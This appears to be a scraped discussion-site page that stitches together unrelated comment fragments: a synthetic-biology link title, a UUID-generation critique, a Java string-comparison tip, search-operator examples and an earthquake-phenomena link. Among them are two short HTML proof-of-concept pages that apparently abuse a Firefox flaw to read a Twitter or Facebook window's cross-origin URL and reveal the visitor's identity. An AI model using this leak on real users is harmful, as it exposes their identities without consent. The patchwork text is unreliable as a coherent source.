Leukippos: A Synthetic Biology Lab in the Cloud
chimera.labs.oreilly.com7 pointsby pittsburgh0 comments
function UUID() {
return "4444-8888-FFFFFFFFFFFF";
}
What's that you say? You want a randomly generated UUID? Okay, here's a clever one taken from http://stackoverflow.com/questions/105034/how-to-create-a-gu... 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8);
return v.toString(16);
});
That should be pretty good, right? Well, it's pretty good depending on your needs. If you need a UUID that is (practically) guaranteed to be unique within a single HTML document, and that UUID never leaves the scope of that page, then this function is a great solution. But if your client-side-generated UUID is sent to the server where it meets up with many other UUIDs generated from the same JavaScript code that ran in other browsers, then this function won't cut it. Why not? Because generating a random UUID in JavaScript relies on the use of Math.random(), which in most browsers uses the current datetime as a seed, and that's only a fine seed if you're building Tetris. <!doctype html>
<script>
function poc() {
var win = window.open('https://twitter.com/lists/',
'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
}, 5000);
}
</script>
<input type=button value="Firefox knows">
edit: As others discovered, the regex stuff is an unnecessary red herring. Here's a simplified POC that uses Facebook to discover your vanity URL: <!doctype html>
<script>
function poc() {
var win = window.open('https://facebook.com/profile.php',
'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello ' + win.location);
}, 5000);
}
</script>
<input type=button value="Firefox knows"> if("botulinum".equals(bacteria))
instead of: if(bacteria.equals("botulinum")) "solar|lunar eclipse 1700..1800"
"William * Clinton"
Columbus -Ohio -Georgia -Christopher
This is hardly a replacement for regex, but it's the best I've been able to come up with.
"Rocks That Crackle and Sparkle and Glow: Strange Pre-Earthquake Phenomena"
http://www.scientificexploration.org/journal/jse_17_1_freund... [PDF]